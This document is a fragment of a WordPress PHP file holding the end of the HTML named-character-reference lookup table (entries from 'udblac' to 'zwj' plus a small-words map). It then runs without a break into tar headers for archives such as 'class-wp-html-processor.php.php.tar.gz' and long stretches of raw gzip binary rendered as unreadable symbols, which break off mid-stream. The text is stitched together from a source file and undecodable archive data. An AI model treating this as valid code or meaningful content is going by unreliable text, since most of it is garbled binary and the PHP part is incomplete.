			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
			"\x02r;\x04𝔶",
			// yicy;[ї].
			"\x03cy;\x02ї",
			// yopf;[𝕪].
			"\x03pf;\x04𝕪",
			// yscr;[𝓎].
			"\x03cr;\x04𝓎",
			// yucy;[ю] yuml;[ÿ] yuml[ÿ].
			"\x03cy;\x02ю\x03ml;\x02ÿ\x02ml\x02ÿ",
			// zacute;[ź].
			"\x05cute;\x02ź",
			// zcaron;[ž] zcy;[з].
			"\x05aron;\x02ž\x02y;\x02з",
			// zdot;[ż].
			"\x03ot;\x02ż",
			// zeetrf;[ℨ] zeta;[ζ].
			"\x05etrf;\x03ℨ\x03ta;\x02ζ",
			// zfr;[𝔷].
			"\x02r;\x04𝔷",
			// zhcy;[ж].
			"\x03cy;\x02ж",
			// zigrarr;[⇝].
			"\x06grarr;\x03⇝",
			// zopf;[𝕫].
			"\x03pf;\x04𝕫",
			// zscr;[𝓏].
			"\x03cr;\x04𝓏",
			// zwnj;[‌] zwj;[‍].
			"\x03nj;\x03‌\x02j;\x03‍",
		),
		"small_words" => "GT\x00LT\x00gt\x00lt\x00",
		"small_mappings" => array(
			">",
			"<",
			">",
			"<",
		)
	)
);
class-wp-html-unsupported-exception.php.php.tar.gz000064400000002367151442221670016340 0ustar00��Wko�6��W��~5MR [�nE��k����m�H���xC���%����:d DD����s��r��M�lTV�\%���hQ�N�*�n�Q�Q��8
;�vUY�e:�7�,�2zXf���c��m�q\/�G�{�N�������G�4�e��r^X��'b��Wߠ]���a���?��o/ޜ��ń&�O^������R$Wb.������p@/]5���^�>8%�tx<�yԫC�2VF�T9��tI>��TZ�����VV�jWX8���GJ�*��}&<	��k�ɔҊ���붜�*���c`����F���K�E�mO�u"�H�‘7��n(1E�+��/��O'l�J��YH��>M+O�����`'�}0�Uy��:'@o@8X,2	���;Z��.3U����X)�;l�R+-o��3�2�
��_������̵�
{4;P�U��L�8��Z
HĔ�YS����i��)1�j���ر��U����o{������pL?�
M�y�+�Sit��Q�ό���i5�3��Z@[����("�����&��͸\��܎��%�$u�����3���D!���7��W@݈�id�‘
�􃱚56�n4�Q8�_�Y�Dy'�Yp���P僗B,	t��lٲ��[5��>)#����d5��J9���N4W%	LDjb�`�N�$������v�ZXr�Ń�G��x��AHp���U1���.= �����%�|LMR�Ɍ����7�[�kg���?�T�2������
T
*yy�����z��V�=ˊ
a�o��Ҫ�;��""<�Z�P��F>P8��5�m&\�)~�0�`�s*⹏[��Dfƒ�t1i/`����
��V7��s�)�"�P*����G�n?~F"W\�
/�94�T[j28���-�y�!�T�<���W�˯�8NbfNҤ �X>y�-��r���<T$�r��we�&m	R��z�1ֳJ'�	�rD�J��
\6���e}g��D�^��c���]�t�����X�Ρ�[9�k&���*�*+�	)�N	�R�V�v����*������*s�t[??�ȚZw������� �GsW�v@j��d��mOj�k&����V�������l݅Xs��ҧ�͵h�tv��^3aat����ʟ�Bl�Hz޽u�_��9�����Uk�N1ځ\|�}���>�����z���)�class-wp-html-doctype-info.php.php.tar.gz000064400000012776151442221670014361 0ustar00��=�r�F��Wz�	�eJ1�d9�Z��8v���$v�����[��8��RbW��v_a�]��'ʓlw�0 @J� ��L"Q������ˉ��G���4���'��;����S_�.^h�i�B�Tn�_z�T�sCٙ��������A�u�����ov��_��^�\����E����������0�m����	�m�����s����~Þ�:�go^��s��1p���9|��)���`od쿊�`_�t`o�6��A���<����񙌅��R%|68g�Xd��D�XL������^���k��$�Q� �z(i�c%T�p"߉H���	�0
C�Ĥ(��U,=X��"�V��y��L"b�%A4b� ��2j&,�3�HરS�<de$�8�Ĕ���T&U#��XNE��p2DF���Hd��
6��?�x�JT6:��3� �s6�e��|xc�
/Qv*�S/I�i0;QS���#:�Wl.����Ę���~vrb��D(�Dƪ�'���q,�J��A(
�oV�ڬ��4�ߩ,�g�0���4�m�P���0�4@�#�Ǿ������è����@?�$V���;�D��&@�S�%+S�Sq�x�� E�GȽ�'ώ��WhDA�U�3�8��1$t�[�h00�87�Є[(O"� +m��8��VF8
,�`TA|�5c��>C��hi�\�D�������Nf���ѩ�|d�Q��X���P��w׸��7��N+[l�9h&���H��,��pb%:|�E�R�y�F�2�a�$�h*�`�bЌ���p4.ή��gj�QW>ɳ�(�.s�o����� k�d���02��b��2֜*��q�L�~��m���a�#�Q�?�u�fP��!U����Z���H�.
l�i'o�c���Թ��K�dԘ� ���,��Z6�$G`=@8��Pi�����G�C��3��IR7�-�I��_�XA��CR�Ƿ=��E��[9p-���q򻂦�h`2�@Y�O�rN�)��ǥ�f��@�0����\!)E��M8;��Dh�������20
R��B�$���e�܂On#�/��8�Ejh<(�k�?���?�D%#��y'P��o
Fwgo��;ȣlH!�K�C?��3��m��B
���Q~���b|���x��b�$i R
�H�����B
���8���Y�(���aH����9W�
�F��c�M��&J@�ݻ���]�?���������/fRe����Na�H��s��]y�P��C�^�nn�s�p8dx�`3gثE�����޾l)0��'�5 >�
�jY���NqE�����=@-�s���ք�����G�2Y�X����S綅�h!4S� G�
D2�ѠC|��͕�a��7s�.�s��F����-!>1���e�����4���篟o��p���9~�ي�H})~�O%��Q����Q֌�+(��3����u�����jʪv���oA�J1�
�Zy��T��Do��N[�6�s#	�}���G��@�S�DL��+�\1s	X�
'?����[�p,��h�qyݵj��#��5D�!`��5�Mi3V48EcCЊ�w�R�}��◲?�ϥ۴Yz)�m֛K$���3Q�]�ܵ��@b��	3��2����B��Dg��`0܊�)�Z��P� %��s�l������PuZ���Z�?H�_;1�lj����P�Y�6����uk8
[����Q�A��NNv�6��(�>�J�ؒ\����N���
�J6X�K:|���ꕩۙ`�a�!0%2�<�afh<:�i.�]]���V.�}/���f�îV�W�Zt4:����#�VcՓ�h/(���1�<�BP����\��J�ZU�D�R"��~�M�O�p2�>--F*<�I>/���ҩ���)�B��Ap����BD�Q���-��|&��M��ċE
��6qx���!�R/΅b������e�3I1h��w(�b���[���������$2�e c��� X:�w�֑MF�U���b�F6)�U�f��I0�#�5v*[\��8>q��Iu���Dg��r,�$�V��^*��R�v
w�'}͓>�䍩�Ws�\�dA0�4���Æ)H��~?S��͍�'�$-[�u
wK�Ż��2���X:ڸ���>*s�PO�?S�f�1rT�8e$�6�q��������P�/���tؘ���ֵ,�M�
I�g)�d��>=�-b�zcQ����PlU	�&�%�*�i�M$��i�׏.Z����L8�Y
��	7��"���[��"�a�'�yS������^>����$�vGn�M�����w)��W��S�]���/s�+��j3t�Y@V�zDc����w<�ll�@��.nd1�.P O�"
�Ø�|=�2n��]�G�cU������K�	Hv:�{HX�ǔ�b�1��P��У��.��PC:�Ne��Ks�H����<������	�+%��R������FeΚ��\,8g���@'<�(_/`�
�TYyR�;W�%�I���,P떦i
֒Q�9s����@�m�s�J��#����kVY�'��d���D��mU=�}P��i�VMSa��֤�����/?���è{�v�;ߕݮ��l��+1�9w;�nWD�ns5>|00�A��:=v�D	���"��.=�n[�)�RZ��K�v�m0��]�'�ݝ��t��.c�������K,[
J�!��b����1v�l5��[J�xT;�hFq��x�f[t Ke��\m���q���-��/�K�r�@��)nY��&�I�q}��bi+Pb��N��Ҿ9�)`�Ra"@��F�(�T��IV���d�8'�j�_���dK"2�h�l�N+:��,�l����S�Te�Z�y��UAhvs[Q���������No�ɶ��Aŕ�Pn._vc@�Z k�A�g\�a�B���#�Ё}`��Ȑ�G������8���,@�ך��fG�g�tv;���	n�`������ZhT���(�T-�*�^-$��D�o
k�c
��1���ԸB��V�&�^n�����L�����lB�����/=��AO��p3�wo�D�7J���`)�O��0��FʹsM�_Ҩ�Z�Y6c`�	��(%=��R��@�& S4������"!?[s*�z�n�e���׏�Qߧx	_�<f&;�{��>d�z{����|F��bõf����!d+�z'���p_u���[�L!�'�6����������~U��'�

1Q����m�P8�~���3�eX�G�%X�@Q�-�vØO ��\�
x}��D`U4�d��p�2�>z�{p��6�j
�kY�Ʈ��� �؆��Gp�z��r��+���o[.U�s[�����O]Cv*�ZK*�o��/��`(Ѳ�UW�	�p*6ė�ۜ��%;�W��)O5}�j��9�*N^��ER��F�[y]U��b��F�.��u63>��z�#�]\��tg�'��=��Y���w��,ݻ�Uw�e'�+O|�GI����c�����Y��6=Ґ�۳%�X�{a�&z���M�4
&@�I�/2��a�Ƣ��G�g<�����d
�i>ݮ��B}�����wL�#�j�U
�[���Ӥ=d��gf��R��w�h��%;}�*�-""�n��-���x�u�i�����w��o~�>W�K�m.,��U���*���BA����ca�J|�5�����F�Էr�mtԸ	�F�	m�I�ȱ�T��

� T���K����,G����5���p@^��R�.>O���.��D
jzǎ����_��`O2d/����=�L(JN(@]7�۠iH�щ���d3h�]�:���wdKd@ǑGc�>�(`O��E��F���B;�iJ�Z\��RI��}���uw������c2��,�����H���;ؒq������v
m>ԝo��A$t�U�b���D�W��Q�^,4�g�Xv,�ySۃHޅ�K�������6���P�h�d�6�9��{t���t���L�8�;B���r�֖�0MR3��y�ƪ�8|�)G�4�jG
���8��OQ�ʅ����kB��	$����쑉x{�t��F���oAlZ�m�X��AD��M2�r[!�a*P��=¿���`���|�6�V�d�6��6P��d��_gF���p�ph�����X\����W�džEb�b��%4g�k�"D`�5)�!|s��Z^Q��T���um}�V�s�'`���2��h��L��Ef
�lo���Fx:�~.؎�K�^9��t,^�DG:� eo��c
��nfg��IB^a���q��d|}���
�T�O�*;^O%
������P�j���O�u:7��t��e7�Ox�,�/��c|����eo�q��)�%�q���;�����_�m�?�I�V}�H�&Ɯ�v��$eX��\�Ü�mT�85�ﳈ�{�!��G9-����朁�,�8�G#��{c�/��3�ͮe{��d̊Y��D���T�(�g;_���[DH�v<��P
�3
C��P�H���ZI�vE{�{��W�����M�=��*��`o����!)>Y\�\}d�<:���bN��pZ�a�s-�v������-��Ն��?,b��ȵ-�AYɼ�ȼ�?�x��G��6TkZ�SO�"���l�u�\���E�4��`e\�[;�xJ��B��|�y��PC���g��{��#UЛs����h�y&�Z&�n��4?H��n�w��t��,u��:D^�
e���nI#Jg�Tp�[0��S4K�is��t�,7vX̰񫅹�yj.c?�)ͣ�N'��xG��I��e�	ڦ�0�N�t��e�Q�|Q ��j�ٳ�˺ĵ��8���K5��|�#i0���ʅ;3�//F�/�GP��*y1a��E��o$/�g���Ye���9���θ�V�}�Yk�l#͞��c���3z�p*MUqdU�UeV`LpFV߂-�\
�&*��@�����Z�0��Ƃ�s2�-_�5$�L��m�+�I�W��BGγ�W8����_�cX�ՄE���a�2�9ū��$%�a��x�j�j�tp��5���	{!آ�OwY�@j���	:�vGT�n/��%L
�a�"���(�2��E��)��|�.k47n6��wh�fg7�D�ˣ���n����U�_Fp1�/=Q���@⪒Jܭ�>��2ŏkSY,Q��?�Z~2�iK�IomYe%�+g�sQ�v[�v�N]+�������O��uY�S1�_����&�S�W�>%L>y��>�F�'�Ӿ~C�q���������Oy��jclass-wp-html-processor.php.php.tar.gz000064400000115507151442221670013774 0ustar00���v׵(z^��(�:����N6%�"!	��B�vr_�Ɋ�*��5�~�_p�}=�����٭�jU����b2d����k��u2����Ip�5�^�^�:�nƍx�L�Q��4�q���iڀ���$�Ei�L6���Q��~���+�����o�����_|���?>~����˗��r���Y8�!��X���o���o����?�:�A��p��?���:yx���q�{^E�ɤ<������_n$��(
��j�1��u_
��L"�LӨdI�����6��4
�Q?&���~����t��M�I��
r
5��D�J
���7�ְR���t<N&<�^�Q$�A&�|�� za'�:���FA�Ѩ�LGY4����,kN^O�u|(� �Q�3��o�����a���b����±��}�M�����7ф�,ݬ��AD��v�+s��A���>�$����C��Y6�/��c+��7qx�,�J�zǬy�!�w8F�	��rʣ�K��`��Hms�-��_���\��00�(Jq�i�4�L{�t���꧴���ăA�D������$�q��K�&8�>~�P6�ɳэ���m0����$�����ۣ4�d�4,]?8J�ƪgN�����]��+5��B��a�&�
	�t��B�c�^|�ip��Ք?��~jù�D���p��I�hl�>�b3�
q�����2č(�N���up�L�G�iVD@���f���b��%�ݵqa�B��b����M؜N�ycp���r������p8Df9A�@3��Y��mo����$�B����GO��2xhAi쌢��. �C��$�}��:�{���"��v��{��k������줅��^ւG�_��4;a�ߥ�pPc���Xk����#�Cn� [����n�#m�5�\�Q
""���$��$���D��j��Û�:�\�lp��Y��)�zA��%���~(Ha��fA5ϡ\EY��ԇ��D&�DH�y�DV�@
g��ك�K&�~rBwqoPG������2od=�p<�SD[$�p8�F@B�z�d�d����x����w�i�����`Ɔ��)�Q�s4r��0�70lD܇g ��"bV��L�',pD$?�s>/�񹢔7�m��e!��pt�p����8�d���T���{�ի�����8�_3M(�󣽿�3�9�E��t�=B�{Kg�������c|<q5�su���u8�������	)GD��ի�߃�g��E'c��/��'6��LXal�l�	��(1�_�s����P�3(�"���)�|ff���>6$��]�V�Ao�F�c�%L$�'��A$w� (8�,Y@���o��d��6�l1IӘE}��x�J�!�v��,�[�F&6ybP�� �D͟����,b�i<��?@@Aֱ��FÝA�ҧ[�kЇ�q+�nYO���I��V�4�'8�m���1H��<��<���z~�n���n��>:ĿZ��U���c!��Õ� ��-��w8�k�t]�FM�Ȭ�n�S���N�~��V��P��P$ H�xw�Vh5��	�%�4��^��xD�J����Q���<*#G+EH�z��2���RԆ���2���L�D�<�8UT8��2����7�q�ڕ\�@�Sd�)-S$F��k52�{��i��J�"�=�qrFd�T�,삢�JY�$�g+z�Dl�b|B,���Wkq^i����	�ek����d�0�aٱ�7Lp��^+��V&��Z��7Hkq5}�8�~��mtd[I`P��B$�
�@��,��	�M�,��|���,d��Pi?�G�U
���W��+�e��C��u0�<�(��&�+����(Q;�ڄ�`�^�~�`�^Ig�0
��)ޮQ2j��	�,K
�I@Ht���p�Ӏ�/�ABM�c#�I�`�t��`�
RK�0@#�.܍f~O��2�!$�{�>wi�2�{��6�=8�<X��K
�1ы��B`���?�����@O��%Ɲ��8�ݑeўN�d�IC��TJ(��En�>+�Vyl��GrX2f;�i�0�2�	MΟ�w@�����|��5A�� \Kݗ��[�8�5���xG�9�!{�LA��l ҄ᕆ�lk���B��~�޶�l�LO
��~��Xѻ�?� m�=R>У^����.�t�K3LK�l��(��B��N�_G�P�/�(���dq6�v?�M��ƃ0&����<�=iw�PO;�o1�Y��qGN{�x��h����58�W1S��89~(?!M���}."T�S�,䑷�~rEa�IC\p�\=ܸ�7�Ak�@$�q�HҙŅ^�B%�@��"�@�2��m�̊2�DS�C�E�Da��X.m\*"��դ+"�Y�W+����gͶ>R�omx�!�X>+$wȑ�z�7p��71�G���G?�Pv9�����}���$b;O�IzdV|Sf���8ӕw�זc`O�UP�L�l����~�v�����2B��cZk�G�c�pI��
Z
@ޠen\��I���F�\S�C�D�GS�0�p���� �A��z��gS��R-t"�,�-�H�.�x�v)��(�����Y6N��������
L��j3�\m�GK�E��ٱ~��{臸'�h���`�7���hrxt�><B7�3"2��!�� 2�EhhX�1����$I�"LAHB^aި�4�%\B8/���Z\�:�i	,�L��q������u�����GG�4O�;��Ǐ��7;�*�SV��	��h��2jآ�mN$�I13��8�,���G2�i�b4.�ɤ�liJ�B+��Up�{�ː�M�
.���^�����Z��N�a��όo�_ ��楟D�$*G���ʵYѕtJ�I��[3͒�(\laIރY2���e۾8'R�	-� � M��]�����O&p�s!���C�a�����F�
ij\p�i��g�W��"��=����;��l�`��|�j]��n2��#�(Cy}�%�j@|�O�Hl�{rȈ]x�7׷$�fd��*�t8�T��,t����k���Kwt�U�_G���gn��ϴ��T�ע�4a䮶��<�"�w��Ͻ��Rq=*�~���m������Y�	��s�S�_�.%�v�9؋�R�6�6_NG����&"�+"C�J31b�����)S�Z�nY�6*��eE͸͡<t"I�T硕(��=��n_9b�ʢ7�:Nb K�)�w1lՈ��I3b�xy7�L�!�=+��-OqZ]r��S~ɲ�] �@���q�gu���u%̾ |ዃ�>-�л2���t���ԍ��~j�C�7��EH�l(�#F%:��?�L	İ��	)s!��_�<Y"�R��DZ�$=I��CR�7��t�o(Q6���&׈a4�X#�q�䑈��$<u�u7�t>A����D61����NK\��H����Dذ$�yo�L��(ޡ]��8w<bE���k7,��D��3�.��& �LPڈ��/�,�ǚ$M*ա(��.2�3Q�{�ƙ�"���e�AUR�Xv�z:zMF�@As�=eVu�l�����l��(�+l~uY�
P�^�ö[@�S(.�|+��\�����QB�f��"�I��/�^lvTDݳ���h�	A��W�!�E������X&oC˴K7�謓� ��l9��=^:�Ӡ�k�y�jRhJ�iw�B#I�Sj�3l��fZ5+c�{�,(쾿e���?Nmvi����AE�M*Ce�e�(R7 |�`�$�Q@0�’����&�I��r�
�"H����5I�J��Ѥ1@SEm�Fy8Ͱg)��dHp6�$r8�s�|�pf�>�T��ˤ���d��Z�T��?�5�[�ky�y�7+@itF]��Jz�y��l�^�ơ� 5b���&���%<�sw�Q�Nt�tz!�5�mƎ�C���ğ�	��t�Ihئ�]���ܫ�בr���jp��^�z3;W���B=��������;��%ɢ�������tPg�q�����x3	/��?�nv]���Z�Z�35W
��w���ԃ�'Ϟ������5~�,�y�{o�+p��uyWux�z����g����g��݃V���^�[��aN��F��j\�}V�oԾ����5��ѓ��i.n��񾚸6x��B��`��'{G����\��/
��
{OiDZ9��3k��*v�E����,w��B�c�ð�"#��=�n��$�	�e��

75^
��:Q��?�u���*���t	����	���_�7!z�36� ~���C>��3wͺa�U�(��
$P��yS9��xd���74���W4B�$!ƪ�� "��HeY��f�����NF0��pqz��$剉g@d�"��l9;OSYHE���.e(VW�<��b*,�1�1�&<A��$'(B$�7�$'�䡌c�Rc@`���q%+8���.�Vs*&�^���q��4�8o*m��n�*>@)�׸�%�4�����W\�"��)��Jv��3���{�y��V�-�s.�A��YFy?tve������FvX�"�$w�O;'g���������w�ݣ�SB;����c��}��K@k+���X{b\�v�|��{	�צJf�ݦ�đ??U��u�C��@����ܥȊ��j�T����5��+s�w�����*)1	a�xO��T�܍�W��� ��ol'����:��ExY�.V�-���^�J�]򗀃A6	G��(��g�I�� �&m����?S�;�d�=i�*<
e���L��q��.X�3Ϝ�nѣDh���M{���+,��'�U��O�u7���^��R3����1��b�Zs>�dy
m�#ҫ�i]��d�9SQҙ�B-F@ Gw9��!��{R �l�s�����d� ��.�I�/�zT���?���N��|3?\����o���Q�1�~�<�c����Z&ׇ���������W���'#���"����q؋��As�G�j�W+@
����޵��Q.�_���#έ�sG�%(��1�@OG���}䡂�j~0Ji�������-(� ��;!@��^�T�T����l�l.5)~-TҒ��׽Ld��,�k���ѭr�6�ۛ�̖���O���wt
���$��)�a�~e���k~-���9j;�コÂk��67�:�f�M�oS�K@
:Ť�	�\&��84Y�s�m��=�ܜl9�Nn�-Q>%����Z��%!s����Y?��i������ӭ�o[���̆����?�E��hPl�mc~����_���}Jo�a�#�	�����v΍��r@����Q2��qv�Pew�I�(�ޙ-}+�M���o�����kxE�7p�Y�\��� p�CMLhF];7
��Κ�#�o�w?�Mq8��[<z��l��D`_��ϋG;� ��#������d;��MD>=q�$��^�v2c_9L���!��H��hǠ���'t?����NśأX�d!�<�R��O���_��I1����:��_�J���%�)�"��Kv^悜*�M��A�ëhKPc��j���7�F8�J���E�϶�����/Z�K�^�ߥhvfl��,���>"���)��Z����9��"��Qd�
]�ԟg��pR�<�����h�$���~Q=j�"ڐ�k �$��P�����-�e9�V��ԙ�L�ڇ�g��?ٴ�~߶c$N"O҉|Q�����nX�^CNi�}:J�;�P���K@�Lb���H�JL��<��?Q(D5�4�	��_�#�)�Q�ɑ#kԕTN��N�l�8iPR��Q��yk��OO�wv��o�䂿��
��*�P^��~�}��Oɨ��.,��"����BD�j+�@�X�b�M�l��2�c?0��(eݡ��Y�"��{����l\�۰�ё�Y�RD����$�$L�4�k��� �bA�����z�X��hQ����H�a,7�щH)�=���ݗ���z�A�gp6f�'`m� �ڃ����?P+ꭰ��FQ51�����2w�sQbr+'%1z%;��0�͘^,�5��3�����0!�C��J!:i��WJ���v��u���p���î�n�@�mj�P]��<��[�v���Ξ��ȥh����pF��*�)q�j�
��8�$��W	��L��:òO������uKY27G
�i���/��	G���ö��1��p2��:���w���h�!�1��p�V���G���v�]��^܄������0���N�H���Ɂ����A����y�ا���Yq�:Z��v�O�V���-�O.p�`����;�	ڝހ�Xs.�ٸ��H��fc�*0b�t���آ�QC���Mk��8��l'�BLr����Xd��N���K��̑�-�e��?�R��i;���3�f�8���)}$���T�/�9�MI�#�۩�Q�Thi��$�I��v�W���	����j��X�.h�LYߦ���%yt�d�g��	�^[�O�Ŭ������? *g�9#bT;�;�1qva<���D4q*�@m����*�V"�C�섏ũ$���1pS�}�����9m�i�u9�h��8�n�'�X�IH�31w�3�!�T8�[''$Ο��tZ{�c�4�����w]Цn]��(~�>v~��B��{6B���A�Jr�A�8�%���t��M�>�P����=@���2���f،�s\�`-�D��I�:n\���)&���a�"R��͡d�!�%4���.B��Xރ�h0�r��
���\`��H�8_Ienc���2IRe�l����y����\��9q<����)�d�?Q�-����)kO����9��j�)�M������1��=e2
�;��[�g�[U�f�
�AG%7�@믻��^k�����(j��:E�G��3yf��iΑ_�v𭰑_,f��G%W�"/�03���s%�*Qi��Џ.�WT8v<��=B�7�?�\�/���g�g���T���ϟ���a�y�x��j1��3Y�]W?}�-i�5���>ʄ�8<�Wb��7��8��^�Ԯ��b)Ӣ�eĬPt���23��(�ʭ.`�+��Vxl�(oN#����G;��/D���P�
���:�&Q����m�Q���$�$N��$�SMV�
�;	��,�1�X�	�>�'�i6�
/L���C`�P�y�]en�Z�:�p @���1�M�ʡ�4��bI���@>���u�����KD��#�<,4�Cv���~� �@���\�I��A'178919/�JW�UvPt�ꨰB	ybT�U�ŸN�}�z?��ݳ�XX�%��8DG������I>���TV/�|��8o�N�Y	��p��p.S�uTd����Hܩ��vU��?���u���^�A�+���*w��M���ruUh�6$E��V#��Ƣ7~�Y7���a��A���1
�� ���:��7ϓ��&�m6�!��ٳRG�]��G�H(eqi�ytׯ��ƣ�ĉ,��$=�9`vH�Z��e�̨�i���Y�AzLAA�,"�uy`6AZ�-�W>?�w��kM������M�d�aY����7��~�u�)n/7��9
[GRx�����~��l����h�n�,8掳nN�g�ۏγ?�:��bT\?���-6�}�4����Z'U�sO}(�e?��J���(��-��C�=�|��I�t���9F�q�ś����N��t�`a�NIzW ��i4�=Rc�\�s�]�>��t� ��y����k��T��l��z9o�ׯ�6M��h���=)�@⽊’����#�Ix#��@��ʺ⯃W�R��נ�4�X���Ra�y=�)�D�ͼ
�%(�X_6���Κ�j.\���D�=G�G�/+�F~K�qUFz�H�P��ܡ����Y,�/�ʥ�֙F	P���L��D���A�TP��b���ň�C�����~k(u�d:
Ug�&`>��#�0�t�-M��
8H�I	����9���,u�Ɗ��\��"ḩ��Q�j΄Q�����
@�*m[�ؽ�+R�
C����2_V\�9r��V��_[s���)���{���ꊇ�ӑa��,m�����f�M{$E�C�u�_��ja(ѣ�(��Ax�z��t��T�걱�� #�7P��a������5��*�=���	�6R�ڈ��6�L�!����m���k�=�>*1mr?I�t
�Sk�d��j�~3J(����8&���dQ���z#n@rAux��?*n \
�٭>z�d�#KZ�]u�a�4�RT��f�w�$W9��,�^ǗY�\u��|.T�^̫c��� ���R���F��v1�8�uN���d\-���V˷�؞�0Q
}��J��4��S\7vs�:��[@�����Z�� m��n
v�녪$�1�Sn��:l��<�,d,�c	Ukr*��Hn�U.�� ^囔J���|aqt6��	�`��,ڹm��4���U|�ݰ�A�iS���W@�U�uK��G��c�naU�z��Jc��d�ͷ���`K�m�ṇt��IaH�z�3,xݤ��]�ʆ*�;�c_g�ϣ٩/��Ѷ���b�{����
